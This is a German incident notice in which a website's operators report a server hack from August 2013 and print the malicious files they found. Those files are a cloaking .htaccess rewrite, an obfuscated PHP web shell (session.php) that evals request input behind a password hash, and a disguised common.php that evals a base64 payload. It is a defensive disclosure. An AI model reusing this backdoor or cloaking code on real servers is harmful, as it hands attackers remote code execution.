BAA wurde am 30.8.2013 gehackt, was wir leider heute erst entdeckt haben. An diesem Tag haben wir folgende Plugins aktualisiert, von denen wahrscheinlich eines den Schadcode mitgebracht hat: nextgen-gallery, contact-form-7, antispam-bee und statify.
Bisher haben wir drei Dateien gefunden, die kompromittiert/neu erstellt wurden: .htaccess, common.php & session.php
Update 9.9.
Es scheint sich doch nicht um eine Hintertür via Pluginupdate zu handeln.
Sinnvoll ist ein Post von Peter Tasker.
Update 10.9.
Der Angriff auf unseren Server scheint sich vom WordPress Pharma Hack zu unterscheiden. So sind auch statische Websites wie parkschuetzer.org betroffen. Momentan gehe ich davon aus, dass der gesamte Server neu aufgesetzt werden muss.
Änderung in .htaccess:
# Apache search queries statistic module RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR] RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing) RewriteCond %{REQUEST_URI} /$ [OR] RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC] RewriteCond %{REQUEST_FILENAME} !common.php RewriteCond %{DOCUMENT_ROOT}/common.php -f RewriteRule ^.*$ /common.php [L]
session.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):
<?php $_f___f='base'.(32*2).'_de'.'code'; if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { eval($_f___f($_REQUEST["mod_content"])); exit(); } $_f___f=$_f___f(str_replace("\n", '', 'P7FB3AybFxmRoovQsw9XvisJsIs58T6CRxPuJufUTk8c3hlJgashBXy7CEnq5GLYGsz+339CevK1Q9bH ... AegQToikh5sZLtqzEQ/z2zyMMZepJhyRYMk8dO6cFjJKK12zJg9zK2x4kMe30R5kilHLrBpCtLELaXla '));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15180;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value=">"/></form>
common.php (in Ausschnitten abgebildet, da wir noch nicht wissen, was es macht):
<?php /** * Creates common globals for the rest of Site * * Sets $pagenow global which is the current page. Checks * for the browser to set which one is currently being used. * * Detects which user environment SITE is being used on. * Only attempts to check for Apache and IIS. Two web servers * with known permalink capability. * */ /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. 130 */ error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmtRM2NKM3VIN25TM3hINGJHOW9IMW5SOG1ENXBWOD0kbkk0a1M5ZkowZEQ2eUozdlg5bUIwZVQ2cEcweUs0elExeFIwbFk4dkgzc0Ewa1owb041a003ckcwb1Azdlkyc ... kd04yZks5ZUI5aUY0dkM0Z0oxckc1c044a0o5a04ydUU1ZEIxb0s4cVgxbVU4clUyaEQxek05dUQ1aFQxcVA3a0k1ckY1YVk5cFQ2eUowZFo4dkk1Y1E5b1AzZk01dFkwZ0c1Z0M0PSRzUDR1STRvTjB1TDdxWjV2TjhxVjZzSDRoUzFjTjJrTTd2WTByVTJwSjZ3TDNlTTZ0RjdpQjliVTN0VjJvWjdnTzN6TThvQThjQjJrWTVxTjdvQzNqTjJ0RTh6VzJ1WjhpSTZpRzA7JGRWMmhRMG5BMWdEOG5NOHNHNHdaMWtVM2lGN2NMNXJBNG9BNnFCOG1HM3pEOHFXNWxaMXVROXRKNXNIMnJBN2NQMnpSNHRJNmpENGpFMnJDNXRZN29JNHBKOT0kcFgxZU82cVE5ZEo4Zkw3ekM0YUIybU4xeEYyako2blM0bEs2ckY2akoxY080elo2b0w4ekI5dVEzY0k4blc4ZE0xb1gwdkk0cE43eVE2a0s2ZUM0dEo0aE01akQ5Y083Ow==')); ?>